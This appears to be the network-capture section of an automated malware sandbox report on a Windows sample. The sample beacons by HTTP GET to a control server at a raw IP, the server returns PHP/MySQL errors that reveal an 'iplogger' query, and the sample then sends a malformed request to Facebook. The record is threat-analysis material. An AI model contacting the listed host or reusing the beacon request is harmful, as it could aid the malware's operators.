2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 20 65 78 70 65 63 74 73 20 70 61 72 61 6d 65 74 65 72 20 32 20 74 6f 20 62 65 20 72 65 73 6f 75 72 63 65 2c 20 62 6f 6f 6c 65 61 6e 20 67 69 76 65 6e 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 37 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 3c 62 3e 31 30 34 35 20 2d 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 3c 62 72 3e 3c 62 72 3e 73 65 6c 65 63 74 20 69 70 6c 6f 67 67 65 72 20 66 72 6f 6d 20 74 5f 63 68 61 6e 6e 65 6c 73 20 77 68 65 72 65 20 6e 61 6d 65 3d 27 53 65 63 75 72 69 74 65 49 6e 66 6f 2e 63 6f 6d 2e 57 69 6e 33 32 2e 4d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 27 20 6c 69 6d 69 74 20 30 2c 31 3c 62 72 3e 3c 62 72 3e 3c 73 6d 61 6c 6c 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 66 66 30 30 30 30 22 3e 5b 54 45 50 20 53 54 4f 50 5d 3c 2f 66 6f 6e 74 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 3e 3c 62 72 3e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 388<br /><b>Deprecated</b>: mysql_pconnect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_pconnect(): Access denied for user 'dbnew01'@'localhost' (using password: YES) in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_query() expects parameter 2 to be resource, boolean given in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>73</b><br /><font color="#000000"><b>1045 - Access denied for user 'dbnew01'@'localhost' (using password: YES)<br><br>select iplogger from t_channels where name='SecuriteInfo.com.Win32.Malware-gen.30674' limit 0,1<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.7	49731	103.136.42.153	80	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data
Sep 9, 2022 18:00:30.535121918 CEST	705	OUT	GET /seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674 HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: 103.136.42.153
Sep 9, 2022 18:00:30.566921949 CEST	707	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 09 Sep 2022 16:00:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 33 38 38 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 44 65 70 72 65 63 61 74 65 64 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 54 68 65 20 6d 79 73 71 6c 20 65 78 74 65 6e 73 69 6f 6e 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 72 65 6d 6f 76 65 64 20 69 6e 20 74 68 65 20 66 75 74 75 72 65 3a 20 75 73 65 20 6d 79 73 71 6c 69 20 6f 72 20 50 44 4f 20 69 6e 73 74 65 61 64 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 20 65 78 70 65 63 74 73 20 70 61 72 61 6d 65 74 65 72 20 32 20 74 6f 20 62 65 20 72 65 73 6f 75 72 63 65 2c 20 62 6f 6f 6c 65 61 6e 20 67 69 76 65 6e 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 37 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 3c 62 3e 31 30 34 35 20 2d 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 3c 62 72 3e 3c 62 72 3e 73 65 6c 65 63 74 20 69 70 6c 6f 67 67 65 72 20 66 72 6f 6d 20 74 5f 63 68 61 6e 6e 65 6c 73 20 77 68 65 72 65 20 6e 61 6d 65 3d 27 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 27 20 6c 69 6d 69 74 20 30 2c 31 3c 62 72 3e 3c 62 72 3e 3c 73 6d 61 6c 6c 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 66 66 30 30 30 30 22 3e 5b 54 45 50 20 53 54 4f 50 5d 3c 2f 66 6f 6e 74 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 3e 3c 62 72 3e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 388<br /><b>Deprecated</b>: mysql_pconnect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_pconnect(): Access denied for user 'dbnew01'@'localhost' (using password: YES) in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_query() expects parameter 2 to be resource, boolean given in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>73</b><br /><font color="#000000"><b>1045 - Access denied for user 'dbnew01'@'localhost' (using password: YES)<br><br>select iplogger from t_channels where name='securiteinfo.com.win32.malware-gen.30674' limit 0,1<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49723	157.240.236.35	443	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data
2022-09-09 16:00:12 UTC	0	OUT	GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='SecuriteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: www.facebook.com
2022-09-09 16:00:12 UTC	1	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 document-policy: force-load-at-top cross-origin-resource-policy: same-origin cross-origin-opener-policy: same-origin-allow-popups Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: ytxN2bvoeiXKvTioHaCNfZF8fh+0Oq+Gsw+KWfy3y3s+2OZAK1TiGy1wM0HtP+6HhPlXFHYQKMBBsxUlYc77QA== Date: Fri, 09 Sep 2022 16:00:12 GMT Priority: u=3,i Transfer-Encoding: chunked Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Connection: close
2022-09-09 16:00:12 UTC	2	IN	Data Raw: 34 31 38 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 64 35 6a 77 79 5a 77 4b 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 77 69 6e 64 6f 77 2e 72 65 71 75 69 Data Ascii: 4183<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="default" id="meta_referrer" /><script nonce="d5jwyZwK">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requi
2022-09-09 16:00:12 UTC	3	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 29 72 65 74 75 72 6e 3b 62 2e 49 5f 41 4d 5f 49 4e 43 4f 47 4e 49 54 4f 5f 41 4e 44 5f 49 5f 52 45 41 4c 4c 59 5f 4e 45 45 44 5f 57 45 42 53 51 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 28 61 2c 62 2c 63 2c 64 29 7d 3b 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 29 7d 7d 62 28 61 29 7d 29 28 74 68 69 73 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 64 35 6a 77 79 5a 77 4b 22 3e 3c 2f 73 74 79 Data Ascii: function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="d5jwyZwK"></sty
2022-09-09 16:00:12 UTC	4	IN	Data Raw: 63 75 72 69 74 65 49 6e 66 6f 2e 63 6f 6d 2e 57 69 6e 33 32 2e 4d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 3f 5f 66 62 5f 6e 6f 73 63 72 69 70 74 3d 31 22 20 2f 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 Data Ascii: curiteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E?_fb_noscript=1" /></noscript><link re
2022-09-09 16:00:12 UTC	6	IN	Data Raw: 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 53 65 63 75 72 69 74 65 49 6e 66 6f 2e 63 6f 6d 2e 57 69 6e 33 32 2e 4d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 Data Ascii: 0000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='SecuriteInfo.com.Win32.Malware-gen.30674&
2022-09-09 16:00:12 UTC	7	IN	Data Raw: 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 53 65 63 75 72 69 74 65 49 6e 66 6f 2e 63 6f 6d 2e 57 69 6e 33 32 2e 4d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 Data Ascii: 4;'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='SecuriteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%2
2022-09-09 16:00:12 UTC	8	IN	Data Raw: 38 6c 67 35 4b 7a 22 20 64 61 74 61 2d 62 6f 6f 74 6c 6f 61 64 65 72 2d 68 61 73 68 3d 22 43 47 39 30 69 4d 70 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 74 2f 6c 2f 30 2c 63 72 6f 73 73 2f 4b 36 6c 73 68 4f 4b 73 33 48 63 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 64 61 74 61 2d 62 6f 6f 74 6c 6f 61 64 65 72 2d 68 61 73 68 3d 22 39 67 6b 30 77 69 47 22 20 2f 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e Data Ascii: 8lg5Kz" data-bootloader-hash="CG90iMp" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yt/l/0,cross/K6lshOKs3Hc.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="9gk0wiG" /><script src="https://static.xx.fbcdn.net/rsrc.
2022-09-09 16:00:12 UTC	10	IN	Data Raw: 34 38 22 7d 2c 22 31 37 33 38 34 38 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 63 58 33 37 6f 51 63 6f 36 44 77 68 55 57 68 4d 22 7d 7d 2c 22 71 70 6c 44 61 74 61 22 3a 7b 22 37 37 35 38 22 3a 7b 22 72 22 3a 31 7d 7d 7d 29 7d 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 54 69 6d 65 53 6c 69 63 65 49 6d 70 6c 22 2c 22 53 65 72 76 65 72 4a 53 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 54 69 6d 65 53 6c 69 63 65 2c 53 65 72 76 65 72 4a 53 29 7b 28 6e 65 77 20 53 65 72 76 65 72 4a 53 28 29 29 2e 68 61 6e 64 6c 65 28 7b 22 64 65 66 69 6e 65 22 3a 5b 5b 22 55 52 4c 46 72 61 67 6d 65 6e 74 50 72 65 6c 75 64 65 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 68 61 73 68 74 61 67 52 65 64 69 72 65 63 74 22 3a 74 72 75 65 2c 22 66 Data Ascii: 48"},"1738486":{"result":false,"hash":"AT4cX37oQco6DwhUWhM"}},"qplData":{"7758":{"r":1}}})});requireLazy(["TimeSliceImpl","ServerJS"],function(TimeSlice,ServerJS){(new ServerJS()).handle({"define":[["URLFragmentPreludeConfig",[],{"hashtagRedirect":true,"f
2022-09-09 16:00:12 UTC	11	IN	Data Raw: 73 65 2c 22 49 53 5f 46 41 43 45 42 4f 4f 4b 5f 57 4f 52 4b 5f 41 43 43 4f 55 4e 54 22 3a 66 61 6c 73 65 2c 22 49 53 5f 4d 45 53 53 45 4e 47 45 52 5f 4f 4e 4c 59 5f 55 53 45 52 22 3a 66 61 6c 73 65 2c 22 49 53 5f 44 45 41 43 54 49 56 41 54 45 44 5f 41 4c 4c 4f 57 45 44 5f 4f 4e 5f 4d 45 53 53 45 4e 47 45 52 22 3a 66 61 6c 73 65 2c 22 49 53 5f 4d 45 53 53 45 4e 47 45 52 5f 43 41 4c 4c 5f 47 55 45 53 54 5f 55 53 45 52 22 3a 66 61 6c 73 65 2c 22 49 53 5f 57 4f 52 4b 5f 4d 45 53 53 45 4e 47 45 52 5f 43 41 4c 4c 5f 47 55 45 53 54 5f 55 53 45 52 22 3a 66 61 6c 73 65 2c 22 49 53 5f 57 4f 52 4b 52 4f 4f 4d 53 5f 55 53 45 52 22 3a 66 61 6c 73 65 2c 22 41 50 50 5f 49 44 22 3a 22 32 35 36 32 38 31 30 34 30 35 35 38 22 2c 22 49 53 5f 42 55 53 49 4e 45 53 53 5f 44 4f Data Ascii: se,"IS_FACEBOOK_WORK_ACCOUNT":false,"IS_MESSENGER_ONLY_USER":false,"IS_DEACTIVATED_ALLOWED_ON_MESSENGER":false,"IS_MESSENGER_CALL_GUEST_USER":false,"IS_WORK_MESSENGER_CALL_GUEST_USER":false,"IS_WORKROOMS_USER":false,"APP_ID":"256281040558","IS_BUSINESS_DO
2022-09-09 16:00:12 UTC	13	IN	Data Raw: 69 6c 6c 5f 73 65 74 69 6d 6d 65 64 69 61 74 65 22 3a 66 61 6c 73 65 7d 2c 32 31 39 30 5d 2c 5b 22 4b 53 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 6b 69 6c 6c 65 64 22 3a 7b 22 5f 5f 73 65 74 22 3a 5b 22 4d 4f 42 49 4c 49 5a 45 52 5f 53 45 4c 46 5f 53 45 52 56 45 5f 4f 57 4e 45 52 53 48 49 50 5f 52 45 53 4f 4c 56 45 52 22 2c 22 4d 4c 48 55 42 5f 46 4c 4f 57 5f 41 55 54 4f 52 45 46 52 45 53 48 5f 53 45 41 52 43 48 22 2c 22 4e 45 4b 4f 5f 44 49 53 41 42 4c 45 5f 43 52 45 41 54 45 5f 46 4f 52 5f 53 41 50 22 2c 22 45 4f 5f 44 49 53 41 42 4c 45 5f 53 59 53 54 45 4d 5f 53 45 52 49 41 4c 5f 4e 55 4d 42 45 52 5f 46 52 45 45 5f 54 59 50 49 4e 47 5f 49 4e 5f 43 50 45 5f 4e 4f 4e 5f 43 4c 49 45 4e 54 22 2c 22 4d 4f 42 49 4c 49 54 59 5f 4b 49 4c 4c 5f 4f 4c 44 5f 56 49 Data Ascii: ill_setimmediate":false},2190],["KSConfig",[],{"killed":{"__set":["MOBILIZER_SELF_SERVE_OWNERSHIP_RESOLVER","MLHUB_FLOW_AUTOREFRESH_SEARCH","NEKO_DISABLE_CREATE_FOR_SAP","EO_DISABLE_SYSTEM_SERIAL_NUMBER_FREE_TYPING_IN_CPE_NON_CLIENT","MOBILITY_KILL_OLD_VI
2022-09-09 16:00:12 UTC	14	IN	Data Raw: 54 5f 52 45 56 49 45 57 5f 44 49 53 41 42 4c 45 5f 46 45 4c 4c 4f 57 53 48 49 50 5f 52 45 56 49 45 57 22 5d 7d 2c 22 6b 6f 22 3a 7b 22 5f 5f 73 65 74 22 3a 5b 22 38 48 34 62 51 6d 45 69 75 4c 54 22 2c 22 33 4f 73 4c 76 6e 53 48 4e 54 74 22 2c 22 31 47 37 77 4a 36 62 4a 74 39 4b 22 2c 22 39 4e 70 6b 47 59 77 7a 72 50 47 22 2c 22 33 6f 68 35 4d 77 38 36 55 53 6a 22 2c 22 38 4e 41 63 65 45 79 39 4a 5a 6f 22 2c 22 37 46 4f 49 7a 6f 73 36 58 4a 58 22 2c 22 72 66 38 4a 45 50 47 67 4f 69 22 2c 22 34 6a 33 36 53 56 7a 76 50 33 77 22 2c 22 34 4e 53 71 33 5a 43 34 53 63 45 22 2c 22 35 33 67 43 78 4b 71 32 38 31 47 22 2c 22 33 79 7a 7a 77 42 59 37 4e 70 6a 22 2c 22 31 6f 6e 7a 49 76 30 6a 48 36 48 22 2c 22 38 50 6c 4b 75 6f 77 61 66 65 38 22 2c 22 31 6e 74 6a 5a 32 Data Ascii: T_REVIEW_DISABLE_FELLOWSHIP_REVIEW"]},"ko":{"__set":["8H4bQmEiuLT","3OsLvnSHNTt","1G7wJ6bJt9K","9NpkGYwzrPG","3oh5Mw86USj","8NAceEy9JZo","7FOIzos6XJX","rf8JEPGgOi","4j36SVzvP3w","4NSq3ZC4ScE","53gCxKq281G","3yzzwBY7Npj","1onzIv0jH6H","8PlKuowafe8","1ntjZ2
2022-09-09 16:00:12 UTC	16	IN	Data Raw: 22 5f 5f 73 65 74 22 3a 5b 5d 7d 2c 22 6e 6f 43 6f 6f 6b 69 65 73 22 3a 66 61 6c 73 65 2c 22 73 68 6f 75 6c 64 53 68 6f 77 43 6f 6f 6b 69 65 42 61 6e 6e 65 72 22 3a 66 61 6c 73 65 7d 2c 34 33 32 38 5d 2c 5b 22 54 72 75 73 74 65 64 54 79 70 65 73 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 75 73 65 54 72 75 73 74 65 64 54 79 70 65 73 22 3a 66 61 6c 73 65 2c 22 72 65 70 6f 72 74 4f 6e 6c 79 22 3a 66 61 6c 73 65 7d 2c 34 35 34 38 5d 2c 5b 22 57 65 62 43 6f 6e 6e 65 63 74 69 6f 6e 43 6c 61 73 73 53 65 72 76 65 72 47 75 65 73 73 22 2c 5b 5d 2c 7b 22 63 6f 6e 6e 65 63 74 69 6f 6e 43 6c 61 73 73 22 3a 22 45 58 43 45 4c 4c 45 4e 54 22 7d 2c 34 37 30 35 5d 2c 5b 22 43 6f 6d 65 74 41 6c 74 70 61 79 4a 73 53 64 6b 49 66 72 61 6d 65 41 6c 6c 6f 77 65 64 44 6f 6d 61 69 6e Data Ascii: 